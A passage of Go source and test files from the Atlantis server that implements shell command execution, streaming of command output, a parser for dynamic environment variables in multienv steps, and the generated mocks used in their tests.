fmt.Sprintf("%s=%s", key, val)) } // TODO: move this os.Environ call out to the server so this // can happen once at the beginning envVars = append(envVars, os.Environ()...) // honestly not entirely sure why we're using sh -c but it's used // for the terraform binary so copying it for now cmd := exec.Command("sh", "-c", formattedArgs) cmd.Env = envVars cmd.Dir = workdir output, err := cmd.CombinedOutput() return string(output), err } ================================================ FILE: server/core/runtime/models/filepath.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package models import ( "os" "path/filepath" ) //go:generate pegomock generate --package mocks -o mocks/mock_filepath.go FilePath type FilePath interface { NotExists() bool Join(elem ...string) FilePath Symlink(newname string) (FilePath, error) Resolve() string } type LocalFilePath string func (fp LocalFilePath) NotExists() bool { _, err := os.Stat(string(fp)) return os.IsNotExist(err) } func (fp LocalFilePath) Join(elem ...string) FilePath { pathComponents := []string{} pathComponents = append(pathComponents, string(fp)) pathComponents = append(pathComponents, elem...) return LocalFilePath(filepath.Join(pathComponents...)) } func (fp LocalFilePath) Symlink(newname string) (FilePath, error) { return LocalFilePath(newname), os.Symlink(fp.Resolve(), newname) } func (fp LocalFilePath) Resolve() string { return string(fp) } ================================================ FILE: server/core/runtime/models/mocks/mock_exec.go ================================================ // Code generated by pegomock. DO NOT EDIT. // Source: github.com/runatlantis/atlantis/server/core/runtime/models (interfaces: Exec) package mocks import ( pegomock "github.com/petergtz/pegomock/v4" "reflect" "time" ) type MockExec struct { fail func(message string, callerSkip ...int) } func NewMockExec(options ...pegomock.Option) *MockExec { mock := &MockExec{} for _, option := range options { option.Apply(mock) } return mock } func (mock *MockExec) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockExec) FailHandler() pegomock.FailHandler { return mock.fail } func (mock *MockExec) CombinedOutput(args []string, envs map[string]string, workdir string) (string, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockExec().") } _params := []pegomock.Param{args, envs, workdir} _result := pegomock.GetGenericMockFrom(mock).Invoke("CombinedOutput", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 string var _ret1 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(string) } if _result[1] != nil { _ret1 = _result[1].(error) } } return _ret0, _ret1 } func (mock *MockExec) LookPath(file string) (string, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockExec().") } _params := []pegomock.Param{file} _result := pegomock.GetGenericMockFrom(mock).Invoke("LookPath", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 string var _ret1 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(string) } if _result[1] != nil { _ret1 = _result[1].(error) } } return _ret0, _ret1 } func (mock *MockExec) VerifyWasCalledOnce() *VerifierMockExec { return &VerifierMockExec{ mock: mock, invocationCountMatcher: pegomock.Times(1), } } func (mock *MockExec) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockExec { return &VerifierMockExec{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } func (mock *MockExec) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockExec { return &VerifierMockExec{ mock: mock, invocationCountMatcher: invocationCountMatcher, inOrderContext: inOrderContext, } } func (mock *MockExec) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockExec { return &VerifierMockExec{ mock: mock, invocationCountMatcher: invocationCountMatcher, timeout: timeout, } } type VerifierMockExec struct { mock *MockExec invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } func (verifier *VerifierMockExec) CombinedOutput(args []string, envs map[string]string, workdir string) *MockExec_CombinedOutput_OngoingVerification { _params := []pegomock.Param{args, envs, workdir} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "CombinedOutput", _params, verifier.timeout) return &MockExec_CombinedOutput_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockExec_CombinedOutput_OngoingVerification struct { mock *MockExec methodInvocations []pegomock.MethodInvocation } func (c *MockExec_CombinedOutput_OngoingVerification) GetCapturedArguments() ([]string, map[string]string, string) { args, envs, workdir := c.GetAllCapturedArguments() return args[len(args)-1], envs[len(envs)-1], workdir[len(workdir)-1] } func (c *MockExec_CombinedOutput_OngoingVerification) GetAllCapturedArguments() (_param0 [][]string, _param1 []map[string]string, _param2 []string) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([][]string, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.([]string) } } if len(_params) > 1 { _param1 = make([]map[string]string, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(map[string]string) } } if len(_params) > 2 { _param2 = make([]string, len(c.methodInvocations)) for u, param := range _params[2] { _param2[u] = param.(string) } } } return } func (verifier *VerifierMockExec) LookPath(file string) *MockExec_LookPath_OngoingVerification { _params := []pegomock.Param{file} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "LookPath", _params, verifier.timeout) return &MockExec_LookPath_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockExec_LookPath_OngoingVerification struct { mock *MockExec methodInvocations []pegomock.MethodInvocation } func (c *MockExec_LookPath_OngoingVerification) GetCapturedArguments() string { file := c.GetAllCapturedArguments() return file[len(file)-1] } func (c *MockExec_LookPath_OngoingVerification) GetAllCapturedArguments() (_param0 []string) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]string, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(string) } } } return } ================================================ FILE: server/core/runtime/models/mocks/mock_filepath.go ================================================ // Code generated by pegomock. DO NOT EDIT. // Source: github.com/runatlantis/atlantis/server/core/runtime/models (interfaces: FilePath) package mocks import ( pegomock "github.com/petergtz/pegomock/v4" models "github.com/runatlantis/atlantis/server/core/runtime/models" "reflect" "time" ) type MockFilePath struct { fail func(message string, callerSkip ...int) } func NewMockFilePath(options ...pegomock.Option) *MockFilePath { mock := &MockFilePath{} for _, option := range options { option.Apply(mock) } return mock } func (mock *MockFilePath) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockFilePath) FailHandler() pegomock.FailHandler { return mock.fail } func (mock *MockFilePath) Join(elem ...string) models.FilePath { if mock == nil { panic("mock must not be nil. Use myMock := NewMockFilePath().") } _params := []pegomock.Param{} for _, param := range elem { _params = append(_params, param) } _result := pegomock.GetGenericMockFrom(mock).Invoke("Join", _params, []reflect.Type{reflect.TypeOf((*models.FilePath)(nil)).Elem()}) var _ret0 models.FilePath if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(models.FilePath) } } return _ret0 } func (mock *MockFilePath) NotExists() bool { if mock == nil { panic("mock must not be nil. Use myMock := NewMockFilePath().") } _params := []pegomock.Param{} _result := pegomock.GetGenericMockFrom(mock).Invoke("NotExists", _params, []reflect.Type{reflect.TypeOf((*bool)(nil)).Elem()}) var _ret0 bool if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(bool) } } return _ret0 } func (mock *MockFilePath) Resolve() string { if mock == nil { panic("mock must not be nil. Use myMock := NewMockFilePath().") } _params := []pegomock.Param{} _result := pegomock.GetGenericMockFrom(mock).Invoke("Resolve", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem()}) var _ret0 string if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(string) } } return _ret0 } func (mock *MockFilePath) Symlink(newname string) (models.FilePath, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockFilePath().") } _params := []pegomock.Param{newname} _result := pegomock.GetGenericMockFrom(mock).Invoke("Symlink", _params, []reflect.Type{reflect.TypeOf((*models.FilePath)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 models.FilePath var _ret1 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(models.FilePath) } if _result[1] != nil { _ret1 = _result[1].(error) } } return _ret0, _ret1 } func (mock *MockFilePath) VerifyWasCalledOnce() *VerifierMockFilePath { return &VerifierMockFilePath{ mock: mock, invocationCountMatcher: pegomock.Times(1), } } func (mock *MockFilePath) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockFilePath { return &VerifierMockFilePath{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } func (mock *MockFilePath) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockFilePath { return &VerifierMockFilePath{ mock: mock, invocationCountMatcher: invocationCountMatcher, inOrderContext: inOrderContext, } } func (mock *MockFilePath) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockFilePath { return &VerifierMockFilePath{ mock: mock, invocationCountMatcher: invocationCountMatcher, timeout: timeout, } } type VerifierMockFilePath struct { mock *MockFilePath invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } func (verifier *VerifierMockFilePath) Join(elem ...string) *MockFilePath_Join_OngoingVerification { _params := []pegomock.Param{} for _, param := range elem { _params = append(_params, param) } methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Join", _params, verifier.timeout) return &MockFilePath_Join_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockFilePath_Join_OngoingVerification struct { mock *MockFilePath methodInvocations []pegomock.MethodInvocation } func (c *MockFilePath_Join_OngoingVerification) GetCapturedArguments() []string { elem := c.GetAllCapturedArguments() return elem[len(elem)-1] } func (c *MockFilePath_Join_OngoingVerification) GetAllCapturedArguments() (_param0 [][]string) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { _param0 = make([][]string, len(c.methodInvocations)) for u := 0; u < len(c.methodInvocations); u++ { _param0[u] = make([]string, len(_params)-0) for x := 0; x < len(_params); x++ { if _params[x][u] != nil { _param0[u][x-0] = _params[x][u].(string) } } } } return } func (verifier *VerifierMockFilePath) NotExists() *MockFilePath_NotExists_OngoingVerification { _params := []pegomock.Param{} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "NotExists", _params, verifier.timeout) return &MockFilePath_NotExists_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockFilePath_NotExists_OngoingVerification struct { mock *MockFilePath methodInvocations []pegomock.MethodInvocation } func (c *MockFilePath_NotExists_OngoingVerification) GetCapturedArguments() { } func (c *MockFilePath_NotExists_OngoingVerification) GetAllCapturedArguments() { } func (verifier *VerifierMockFilePath) Resolve() *MockFilePath_Resolve_OngoingVerification { _params := []pegomock.Param{} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Resolve", _params, verifier.timeout) return &MockFilePath_Resolve_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockFilePath_Resolve_OngoingVerification struct { mock *MockFilePath methodInvocations []pegomock.MethodInvocation } func (c *MockFilePath_Resolve_OngoingVerification) GetCapturedArguments() { } func (c *MockFilePath_Resolve_OngoingVerification) GetAllCapturedArguments() { } func (verifier *VerifierMockFilePath) Symlink(newname string) *MockFilePath_Symlink_OngoingVerification { _params := []pegomock.Param{newname} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Symlink", _params, verifier.timeout) return &MockFilePath_Symlink_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockFilePath_Symlink_OngoingVerification struct { mock *MockFilePath methodInvocations []pegomock.MethodInvocation } func (c *MockFilePath_Symlink_OngoingVerification) GetCapturedArguments() string { newname := c.GetAllCapturedArguments() return newname[len(newname)-1] } func (c *MockFilePath_Symlink_OngoingVerification) GetAllCapturedArguments() (_param0 []string) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]string, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(string) } } } return } ================================================ FILE: server/core/runtime/models/shell_command_runner.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package models import ( "bufio" "fmt" "io" "os/exec" "strings" "sync" "time" "github.com/runatlantis/atlantis/server/core/config/valid" "github.com/runatlantis/atlantis/server/core/terraform/ansi" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/jobs" ) // Setting the buffer size to 10mb const BufioScannerBufferSize = 10 * 1024 * 1024 // Line represents a line that was output from a shell command. type Line struct { // Line is the contents of the line (without the newline). Line string // Err is set if there was an error. Err error } // ShellCommandRunner runs a command via `exec.Command` and streams output to the // `ProjectCommandOutputHandler`. type ShellCommandRunner struct { command string workingDir string outputHandler jobs.ProjectCommandOutputHandler streamOutput bool cmd *exec.Cmd shell *valid.CommandShell } func NewShellCommandRunner( shell *valid.CommandShell, command string, environ []string, workingDir string, streamOutput bool, outputHandler jobs.ProjectCommandOutputHandler, ) *ShellCommandRunner { if shell == nil { shell = &valid.CommandShell{ Shell: "sh", ShellArgs: []string{"-c"}, } } var args []string args = append(args, shell.ShellArgs...) args = append(args, command) cmd := exec.Command(shell.Shell, args...) // #nosec cmd.Env = environ cmd.Dir = workingDir return &ShellCommandRunner{ command: command, workingDir: workingDir, outputHandler: outputHandler, streamOutput: streamOutput, cmd: cmd, shell: shell, } } func (s *ShellCommandRunner) Run(ctx command.ProjectContext) (string, error) { _, outCh := s.RunCommandAsync(ctx) outbuf := new(strings.Builder) var err error for line := range outCh { if line.Err != nil { err = line.Err break } outbuf.WriteString(line.Line) outbuf.WriteString("\n") } // sanitize output by stripping out any ansi characters. output := ansi.Strip(outbuf.String()) return output, err } // RunCommandAsync runs terraform with args. It immediately returns an // input and output channel. Callers can use the output channel to // get the realtime output from the command. // Callers can use the input channel to pass stdin input to the command. // If any error is passed on the out channel, there will be no // further output (so callers are free to exit). func (s *ShellCommandRunner) RunCommandAsync(ctx command.ProjectContext) (chan<- string, <-chan Line) { outCh := make(chan Line) inCh := make(chan string) start := time.Now() // We start a goroutine to do our work asynchronously and then immediately // return our channels. go func() { // Ensure we close our channels when we exit. defer func() { close(outCh) close(inCh) }() stdout, _ := s.cmd.StdoutPipe() stderr, _ := s.cmd.StderrPipe() stdin, _ := s.cmd.StdinPipe() ctx.Log.Debug("starting '%s %q' in '%s'", s.shell.String(), s.command, s.workingDir) err := s.cmd.Start() if err != nil { err = fmt.Errorf("running '%s %q' in '%s': %w", s.shell.String(), s.command, s.workingDir, err) ctx.Log.Err(err.Error()) outCh <- Line{Err: err} return } // If we get anything on inCh, write it to stdin. // This function will exit when inCh is closed which we do in our defer. go func() { for line := range inCh { ctx.Log.Debug("writing %q to remote command's stdin", line) _, err := io.WriteString(stdin, line) if err != nil { err = fmt.Errorf("writing %q to process: %w", line, err) ctx.Log.Err(err.Error()) } } }() wg := new(sync.WaitGroup) wg.Add(2) // Asynchronously copy from stdout/err to outCh. go func() { scanner := bufio.NewScanner(stdout) buf := []byte{} scanner.Buffer(buf, BufioScannerBufferSize) for scanner.Scan() { message := scanner.Text() outCh <- Line{Line: message} if s.streamOutput { s.outputHandler.Send(ctx, message, false) } } wg.Done() }() go func() { scanner := bufio.NewScanner(stderr) for scanner.Scan() { message := scanner.Text() outCh <- Line{Line: message} if s.streamOutput { s.outputHandler.Send(ctx, message, false) } } wg.Done() }() // Wait for our copying to complete. This *must* be done before // calling cmd.Wait(). (see https://github.com/golang/go/issues/19685) wg.Wait() // Wait for the command to complete. err = s.cmd.Wait() dur := time.Since(start) log := ctx.Log.With("duration", dur) // We're done now. Send an error if there was one. if err != nil { err = fmt.Errorf("running '%s' '%s' in '%s': %w", s.shell.String(), s.command, s.workingDir, err) log.Err(err.Error()) outCh <- Line{Err: err} } else { log.Info("successfully ran '%s' '%s' in '%s'", s.shell.String(), s.command, s.workingDir) } }() return inCh, outCh } ================================================ FILE: server/core/runtime/models/shell_command_runner_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package models_test import ( "fmt" "os" "strings" "testing" . "github.com/petergtz/pegomock/v4" "github.com/runatlantis/atlantis/server/core/runtime/models" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/jobs/mocks" logmocks "github.com/runatlantis/atlantis/server/logging/mocks" . "github.com/runatlantis/atlantis/testing" ) func TestShellCommandRunner_Run(t *testing.T) { cases := []struct { Command string ExpLines []string Environ map[string]string }{ { Command: "echo $HELLO", Environ: map[string]string{ "HELLO": "world", }, ExpLines: []string{"world"}, }, { Command: ">&2 echo this is an error", ExpLines: []string{"this is an error"}, }, } for _, c := range cases { t.Run(c.Command, func(t *testing.T) { RegisterMockTestingT(t) log := logmocks.NewMockSimpleLogging() When(log.With(Any[string](), Any[any]())).ThenReturn(log) ctx := command.ProjectContext{ Log: log, Workspace: "default", RepoRelDir: ".", } projectCmdOutputHandler := mocks.NewMockProjectCommandOutputHandler() cwd, err := os.Getwd() Ok(t, err) environ := []string{} for k, v := range c.Environ { environ = append(environ, fmt.Sprintf("%s=%s", k, v)) } expectedOutput := fmt.Sprintf("%s\n", strings.Join(c.ExpLines, "\n")) // Run once with streaming enabled runner := models.NewShellCommandRunner(nil, c.Command, environ, cwd, true, projectCmdOutputHandler) output, err := runner.Run(ctx) Ok(t, err) Equals(t, expectedOutput, output) for _, line := range c.ExpLines { projectCmdOutputHandler.VerifyWasCalledOnce().Send(ctx, line, false) } log.VerifyWasCalledOnce().With(Eq("duration"), Any[any]()) // And again with streaming disabled. Everything should be the same except the // command output handler should not have received anything projectCmdOutputHandler = mocks.NewMockProjectCommandOutputHandler() runner = models.NewShellCommandRunner(nil, c.Command, environ, cwd, false, projectCmdOutputHandler) output, err = runner.Run(ctx) Ok(t, err) Equals(t, expectedOutput, output) projectCmdOutputHandler.VerifyWasCalled(Never()).Send(Any[command.ProjectContext](), Any[string](), Eq(false)) log.VerifyWasCalled(Twice()).With(Eq("duration"), Any[any]()) }) } } ================================================ FILE: server/core/runtime/multienv_step_runner.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package runtime import ( "errors" "fmt" "regexp" "strings" "github.com/runatlantis/atlantis/server/core/config/valid" "github.com/runatlantis/atlantis/server/events/command" ) // EnvStepRunner set environment variables. type MultiEnvStepRunner struct { RunStepRunner *RunStepRunner } // Run runs the multienv step command. // The command must return a json string containing the array of name-value pairs that are being added as extra environment variables func (r *MultiEnvStepRunner) Run( ctx command.ProjectContext, shell *valid.CommandShell, command string, path string, envs map[string]string, postProcessOutput []valid.PostProcessRunOutputOption, ) (string, error) { res, err := r.RunStepRunner.Run(ctx, shell, command, path, envs, false, []valid.PostProcessRunOutputOption{valid.PostProcessRunOutputShow}, []*regexp.Regexp{}) if err != nil { return "", err } var sb strings.Builder if len(res) == 0 { sb.WriteString("No dynamic environment variable added") } else { sb.WriteString("Dynamic environment variables added:\n") vars, err := parseMultienvLine(res) if err != nil { return "", fmt.Errorf("invalid environment variable definition: %s (%w)", res, err) } for i := 0; i < len(vars); i += 2 { key := vars[i] envs[key] = vars[i+1] sb.WriteString(key) sb.WriteRune('\n') } } output := "" for _, processOutput := range postProcessOutput { switch processOutput { case valid.PostProcessRunOutputHide: output = "" case valid.PostProcessRunOutputShow: output = sb.String() default: output = sb.String() } } return output, nil } func parseMultienvLine(in string) ([]string, error) { in = strings.TrimSpace(in) if in == "" { return nil, nil } if len(in) < 3 { return nil, errors.New("invalid syntax") // TODO } var res []string var inValue, dquoted, squoted, escaped bool var i int for j, r := range in { if !inValue { if r == '=' { inValue = true res = append(res, in[i:j]) i = j + 1 } if r == ' ' || r == '\t' { return nil, errInvalidKeySyntax } if r == ',' && len(res) > 0 { i = j + 1 } continue } if r == '"' && !squoted { if j == i && !dquoted { // value is double quoted dquoted = true i = j + 1 } else if dquoted && in[j-1] != '\\' { res = append(res, unescape(in[i:j], escaped)) i = j + 1 dquoted = false inValue = false } else if in[j-1] != '\\' { return nil, errMisquoted } else if in[j-1] == '\\' { escaped = true } continue } if r == '\'' && !dquoted { if j == i && !squoted { // value is double quoted squoted = true i = j + 1 } else if squoted && in[j-1] != '\\' { res = append(res, in[i:j]) i = j + 1 squoted = false inValue = false } continue } if r == ',' && !dquoted && !squoted && inValue { res = append(res, in[i:j]) i = j + 1 inValue = false } } if i < len(in) { if !inValue { return nil, errRemaining } res = append(res, unescape(in[i:], escaped)) inValue = false } if dquoted || squoted { return nil, errMisquoted } if inValue { return nil, errRemaining } return res, nil } func unescape(s string, escaped bool) string { if escaped { return strings.ReplaceAll(strings.ReplaceAll(s, `\\`, `\`), `\"`, `"`) } return s } var ( errInvalidKeySyntax = errors.New("invalid key syntax") errMisquoted = errors.New("misquoted") errRemaining = errors.New("remaining unparsed data") ) ================================================ FILE: server/core/runtime/multienv_step_runner_internal_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package runtime import ( "errors" "testing" ) func TestMultiEnvStepRunner_Run_parser(t *testing.T) { t.Run("success", func(t *testing.T) { tests := map[string][]string{ "": nil, "KEY=value": {"KEY", "value"}, `KEY="value"`: {"KEY", "value"}, "KEY==": {"KEY", "="}, `KEY="'"`: {"KEY", "'"}, `KEY=""`: {"KEY", ""}, `KEY=a\"b`: {"KEY", `a"b`}, `KEY="va\"l\"ue"`: {"KEY", `va"l"ue`}, "KEY='value'": {"KEY", "value"}, `KEY='va"l"ue'`: {"KEY", `va"l"ue`}, `KEY='"'`: {"KEY", `"`}, "KEY=a'b": {"KEY", "a'b"}, "KEY=''": {"KEY", ""}, "KEY='a\\'b'": {"KEY", "a\\'b"}, "FOO=bar,QUUX=baz": {"FOO", "bar", "QUUX", "baz"}, "FOO='bar',QUUX=baz": {"FOO", "bar", "QUUX", "baz"}, "FOO=bar,QUUX='baz'": {"FOO", "bar", "QUUX", "baz"}, `FOO="bar",QUUX=baz`: {"FOO", "bar", "QUUX", "baz"}, `FOO=bar,QUUX="baz"`: {"FOO", "bar", "QUUX", "baz"}, `FOO="bar",QUUX='baz'`: {"FOO", "bar", "QUUX", "baz"}, `FOO='bar',QUUX="baz"`: {"FOO", "bar", "QUUX", "baz"}, "FOO=\"bar\nbaz\"": {"FOO", "bar\nbaz"}, `KEY="foo='bar',lorem=ipsum"`: {"KEY", "foo='bar',lorem=ipsum"}, `FOO=bar,QUUX="lorem ipsum"`: {"FOO", "bar", "QUUX", "lorem ipsum"}, `JSON="{\"ID\":1,\"Name\":\"Reds\",\"Colors\":[\"Crimson\",\"Red\",\"Ruby\",\"Maroon\"]}"`: {"JSON", `{"ID":1,"Name":"Reds","Colors":["Crimson","Red","Ruby","Maroon"]}`}, `JSON='{"ID":1,"Name":"Reds","Colors":["Crimson","Red","Ruby","Maroon"]}'`: {"JSON", `{"ID":1,"Name":"Reds","Colors":["Crimson","Red","Ruby","Maroon"]}`}, } for in, exp := range tests { t.Run(in, func(t *testing.T) { got, err := parseMultienvLine(in) if err != nil { t.Fatalf("unexpected error: %v", err) } t.Logf("\n%q\n%q", exp, got) if e, g := len(exp), len(got); e != g { t.Fatalf("expecting %d elements, got %d", e, g) } for i, e := range exp { if g := got[i]; g != e { t.Errorf("expecting %q at index %d, got %q", e, i, g) } } }) } }) t.Run("error", func(t *testing.T) { tests := map[string]error{ "BAD KEY": errInvalidKeySyntax, "KEY='missingquote": errMisquoted, `KEY="missingquote`: errMisquoted, `KEY="missquoted'`: errMisquoted, `KEY=a"b`: errMisquoted, `KEY=value,rem`: errRemaining, } for in, exp := range tests { t.Run(in, func(t *testing.T) { if _, err := parseMultienvLine(in); !errors.Is(err, exp) { t.Fatalf("expecting error %v, got %v", exp, err) } }) } }) } ================================================ FILE: server/core/runtime/multienv_step_runner_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package runtime_test import ( "testing" version "github.com/hashicorp/go-version" . "github.com/petergtz/pegomock/v4" "github.com/runatlantis/atlantis/server/core/config/valid" "github.com/runatlantis/atlantis/server/core/runtime" "github.com/runatlantis/atlantis/server/core/terraform" terraformmocks "github.com/runatlantis/atlantis/server/core/terraform/mocks" tfclientmocks "github.com/runatlantis/atlantis/server/core/terraform/tfclient/mocks" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/models" jobmocks "github.com/runatlantis/atlantis/server/jobs/mocks" "github.com/runatlantis/atlantis/server/logging" . "github.com/runatlantis/atlantis/testing" ) func TestMultiEnvStepRunner_Run(t *testing.T) { cases := []struct { Command string ProjectName string Output []valid.PostProcessRunOutputOption ExpOut string ExpErr string ExpEnv map[string]string }{ { Command: `echo 'TF_VAR_REPODEFINEDVARIABLE_ONE=value1'`, Output: []valid.PostProcessRunOutputOption{valid.PostProcessRunOutputShow}, ExpOut: "Dynamic environment variables added:\nTF_VAR_REPODEFINEDVARIABLE_ONE\n", ExpEnv: map[string]string{ "TF_VAR_REPODEFINEDVARIABLE_ONE": "value1", }, }, { Command: `echo 'TF_VAR_REPODEFINEDVARIABLE_TWO=value=1='`, Output: []valid.PostProcessRunOutputOption{valid.PostProcessRunOutputShow}, ExpOut: "Dynamic environment variables added:\nTF_VAR_REPODEFINEDVARIABLE_TWO\n", ExpEnv: map[string]string{ "TF_VAR_REPODEFINEDVARIABLE_TWO": "value=1=", }, }, { Command: `echo 'TF_VAR_REPODEFINEDVARIABLE_NO_VALUE'`, Output: []valid.PostProcessRunOutputOption{valid.PostProcessRunOutputShow}, ExpErr: "invalid environment variable definition: TF_VAR_REPODEFINEDVARIABLE_NO_VALUE\n", ExpEnv: map[string]string{}, }, { Command: `echo 'TF_VAR1_MULTILINE="foo\\nbar",TF_VAR2_VALUEWITHCOMMA="one,two",TF_VAR3_CONTROL=true'`, Output: []valid.PostProcessRunOutputOption{valid.PostProcessRunOutputShow}, ExpOut: "Dynamic environment variables added:\nTF_VAR1_MULTILINE\nTF_VAR2_VALUEWITHCOMMA\nTF_VAR3_CONTROL\n", ExpEnv: map[string]string{ "TF_VAR1_MULTILINE": "foo\\nbar", "TF_VAR2_VALUEWITHCOMMA": "one,two", "TF_VAR3_CONTROL": "true", }, }, { Command: `echo 'TF_VAR_REPODEFINEDVARIABLE_HIDE=value1'`, Output: []valid.PostProcessRunOutputOption{valid.PostProcessRunOutputHide}, ExpOut: "", ExpEnv: map[string]string{ "TF_VAR_REPODEFINEDVARIABLE_HIDE": "value1", }, }, } RegisterMockTestingT(t) tfClient := tfclientmocks.NewMockClient() mockDownloader := terraformmocks.NewMockDownloader() tfDistribution := terraform.NewDistributionTerraformWithDownloader(mockDownloader) tfVersion, err := version.NewVersion("0.12.0") Ok(t, err) projectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler() runStepRunner := runtime.RunStepRunner{ TerraformExecutor: tfClient, DefaultTFDistribution: tfDistribution, DefaultTFVersion: tfVersion, ProjectCmdOutputHandler: projectCmdOutputHandler, } multiEnvStepRunner := runtime.MultiEnvStepRunner{ RunStepRunner: &runStepRunner, } for _, c := range cases { t.Run(c.Command, func(t *testing.T) { tmpDir := t.TempDir() ctx := command.ProjectContext{ BaseRepo: models.Repo{ Name: "basename", Owner: "baseowner", }, HeadRepo: models.Repo{ Name: "headname", Owner: "headowner", }, Pull: models.PullRequest{ Num: 2, HeadBranch: "add-feat", BaseBranch: "main", Author: "acme", }, User: models.User{ Username: "acme-user", }, Log: logging.NewNoopLogger(t), Workspace: "myworkspace", RepoRelDir: "mydir", TerraformVersion: tfVersion, ProjectName: c.ProjectName, } envMap := make(map[string]string) value, err := multiEnvStepRunner.Run(ctx, nil, c.Command, tmpDir, envMap, c.Output) if c.ExpErr != "" { ErrContains(t, c.ExpErr, err) return } Ok(t, err) Equals(t, c.ExpOut, value) Equals(t, c.ExpEnv, envMap) }) } } ================================================ FILE: server/core/runtime/plan_step_runner.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package runtime import ( "fmt" "os" "path/filepath" "regexp" "strings" version "github.com/hashicorp/go-version" "github.com/runatlantis/atlantis/server/core/terraform" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/models" ) const ( defaultWorkspace = "default" refreshKeyword = "Refreshing state..." refreshSeparator = "------------------------------------------------------------------------\n" ) var ( plusDiffRegex = regexp.MustCompile(`(?m)^ {2}\+`) tildeDiffRegex = regexp.MustCompile(`(?m)^ {2}~`) minusDiffRegex = regexp.MustCompile(`(?m)^ {2}-`) ) type planStepRunner struct { TerraformExecutor TerraformExec DefaultTFDistribution terraform.Distribution DefaultTFVersion *version.Version CommitStatusUpdater StatusUpdater AsyncTFExec AsyncTFExec } func NewPlanStepRunner(terraformExecutor TerraformExec, defaultTfDistribution terraform.Distribution, defaultTfVersion *version.Version, commitStatusUpdater StatusUpdater, asyncTFExec AsyncTFExec) Runner { runner := &planStepRunner{ TerraformExecutor: terraformExecutor, DefaultTFDistribution: defaultTfDistribution, DefaultTFVersion: defaultTfVersion, CommitStatusUpdater: commitStatusUpdater, AsyncTFExec: asyncTFExec, } return 